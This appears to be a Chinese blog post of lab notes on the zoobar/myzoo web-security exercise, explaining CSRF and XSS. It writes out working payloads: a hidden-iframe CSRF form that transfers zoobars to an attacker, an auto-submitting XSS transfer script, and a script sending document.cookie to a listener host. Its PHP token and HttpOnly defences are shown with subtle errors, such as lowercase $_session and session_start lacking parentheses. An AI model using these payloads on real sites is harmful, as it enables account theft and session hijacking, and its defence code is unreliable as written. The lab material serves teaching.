首先在user.php文件中去除黑名单的第一行标签,在白名单中添加<script>
E1:csrf攻击zoobar
csrf:cross-site request forgery    跨站伪造请求
普通用户登录myzoo网站后,在未退出的状态下,浏览了attack/csrf网站
该网站伪造了一份myzoo网站的表单,普通用户在不知情的状态下,自动被提交了一份恶意表单
由于http协议的无状态特性,在每一份请求的表单中会自动带上cookie
从而在myzoo网站看来一份合法的请求被提交
iframe限制了网站跳转,普通用户难以察觉

<iframe name=my_iframe width=70% height=40%></iframe>
<form method=POST name=transferform action="http://www.myzoo.com/transfer.php" target="my_iframe">
<p>Send <input name=zoobars type=text value="1" size=5> zoobars</p>
<p>to <input name=recipient type=text value="attack"></p>
<input type=submit name=submission value="Send">
</form>
 
E2:csrf防御攻击zoobar
方案1:
验证HTTP Referer字段,它记录了该HTTP请求的源地址
缺点:该字段可以被普通用户修改

方案2:【相对合理】
在请求中添加token并验证
在服务器端建立拦截器验证此token

基本思路:
1)启动session
<?php session_start; ?>
2)在session中产生一个随机数
$_session['csrf']=md5(uniqid(mt_rand(),true));
3)将生成的值放在表单中
<input type=hidden name=csrf value="<?php echo $_session['csrf']?>"/>
4)用户提交表单验证提交的token是否和session中保存的值一致

 if($zoobars > 0 && $sender_balance >= 0 && $recipient_exists &&
        $_post['submission'] && ($_post['csrf']==$_session['csrf']))
 
E3:xss攻击zoobar
xss:cross sitescript    跨站脚本攻击
通过js创建自提交表单

<script>
var f=document.createElement("form");
document.body.appendChild(f);
 
var a=document.createElement("input");
a.type="hidden";
a.type="text";
a.value="1";
a.name="zoobars";
f.appendChild(a);
 
var b=document.createElement("input");
b.type="hidden";
b.type="text";
b.name="recipient"
b.value="aa";
f.appendChild(b);
 
var c=document.createElement("input");
c.type="hidden";
c.name="submission";
c.value="Send";
f.appendChild(c);
 
f.method="POST";
f.name="transferform";
f.submit();
</script>

E4:xss防御攻击zoobar
同理csrf防御攻击zoobar

 
E5:xss攻击cookie
凡是可以执行js代码的地方就可能存在xss漏洞!

<script>
document.write("<img src=http://127.0.0.1:2002?cookie="+document.cookie+">");
</script>
E6:xss防御攻击cookie 
HttpOnly

setcookie($this->cookieName, $cookieData, time() + 31104000,NULL,NULL,NULL,TRUE);

突然又没有跑出应有的结果,下次再贴图

web安全:xss && csrf的更多相关文章

  1. web框架--XSS攻击和CSRF请求伪造

    XSS 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web ...

  2. web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)

    web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造) XSS(跨站脚本攻击)和CSRF(跨站请求伪造) Cross-site Scripting (XSS) h ...

  3. web安全技术--XSS和CSRF

    Xss一般是脚本代码,主要是JS的,但是也有AS和VBS的. 主要分为反射型,存储型,DOM型三个大类. 一般来讲在手工测试的时候先要考虑的地方就是哪里有输入那里有输出. 然后是进行敏感字符测试,通常 ...

  4. Web安全XSS

    Web安全XSS 简单的反射型XSS钓鱼演示 </form> <script> function hack(){ XSSImage=new Image; XSSImage.sr ...

  5. 关于安全性问题:(XSS,csrf,cors,jsonp,同源策略)

    关于安全性问题:(XSS,csrf,cors,jsonp,同源策略) Ajax 是无需刷新页面就能从服务器获取数据的一种方法.它的核心对象是XHR,同源策略是ajax的一种约束,它为通信设置了相同的协 ...

  6. Web安全之CSRF攻击的防御措施

    Web安全之CSRF攻击的防御措施   CSRF是什么? Cross Site Request Forgery,中文是:跨站点请求伪造. CSRF攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击 ...

  7. XSS/CSRF跨站攻击和防护方案

    Xss(Cross Site Scripting 跨站脚本攻击)/CSRF(Cross-site request forgery 跨站请求伪造),它与著名的SQL注入攻击类似,都是利用了Web页面的编 ...

  8. 深入理解OAuth2.0 XSS CSRF CORS 原理

    基于Token的WEB后台认证机制 http://www.cnblogs.com/xiekeli/p/5607107.html 深入理解OAuth2.0协议http://blog.csdn.net/s ...

  9. Web安全之CSRF(跨站请求伪造)

    CSRF(跨站请求伪造)概述 Cross-site request forgery 简称为"CSRF",在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺 ...

  10. DedeCMS Xss+Csrf Getshell \dede\file_manage_control.php

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 对这个漏洞的利用方式进行简单的概括 . 这个漏洞的利用前提是需要登录到后台进行操作 ...

随机推荐

  1. 【转】 Android 基于google Zxing实现对手机中的二维码进行扫描--不错

    原文网址:http://blog.csdn.net/xiaanming/article/details/14450809 转载请注明出处:http://blog.csdn.net/xiaanming/ ...

  2. 深入JS系列学习4

    深入JS系列学习4 Javascript 装载和执行 明白了JS的装载和执行,没有给出很好的解决方案,在IE下可用defer属性: 浏览器对于Javascript的运行有两大特性:1)载入后马上执行, ...

  3. html幻灯效果页面

    方式一: <!DOCTYPE HTML> <html> <head> <style> #cont { position: relative; heigh ...

  4. Linux文件操作学习总结【转载】

    本文转载自: http://blog.csdn.net/xiaoweibeibei/article/details/6556951 文件类型:普通文件(文本文件,二进制文件).目录文件.链接文件.设备 ...

  5. java中集合杂记

    HashSet类按照哈希算法来存取集合中的对象,具有很有的性能.当HashSet向集合中加入一个对象时,会调用对象的hashCode()方法获得哈希码,然后根据这个哈希码进一步计算出对象在集合中的存放 ...

  6. 夏普比率(Sharpe Ratio)

    投资中有一个常规的特点,即投资标的的预期报酬越高,投资人所能忍受的波动风险越高:反之,预期报酬越低,波动风险也越低.所以理性的投资人选择投资标的与投资组合的主要目的为:在固定所能承受的风险下,追求最大 ...

  7. CodeForces 371D. Vessels

    暴力+胡乱优化就过了..tags给的东西似乎什么都没用到.....CF的数据是不是有点水啊.....果然是没有营养的题目..... D. Vessels time limit per test 2 s ...

  8. Demon_接金币(三个掉落物品预设体,一接物体的工具)

    接物体的工具 using UnityEngine; using System.Collections; public class Tool : MonoBehaviour { float hor; V ...

  9. 手机站点开发及手机中图片加速显示img的Canvas方法

    随着手机开发越来越流行,手机开发的非常多框架也应运而生,比較好用的手机站点开发框架推荐例如以下: 1.zeptojs.里面封装了非常多手机特有方法,比如touch.js等等. 和jquery使用方法差 ...

  10. XCode5/Apple LLVM 5.0下使用boost的方法

    Because Apple changes the compiler to llvm only in XCode5, so there are some compatible problems wit ...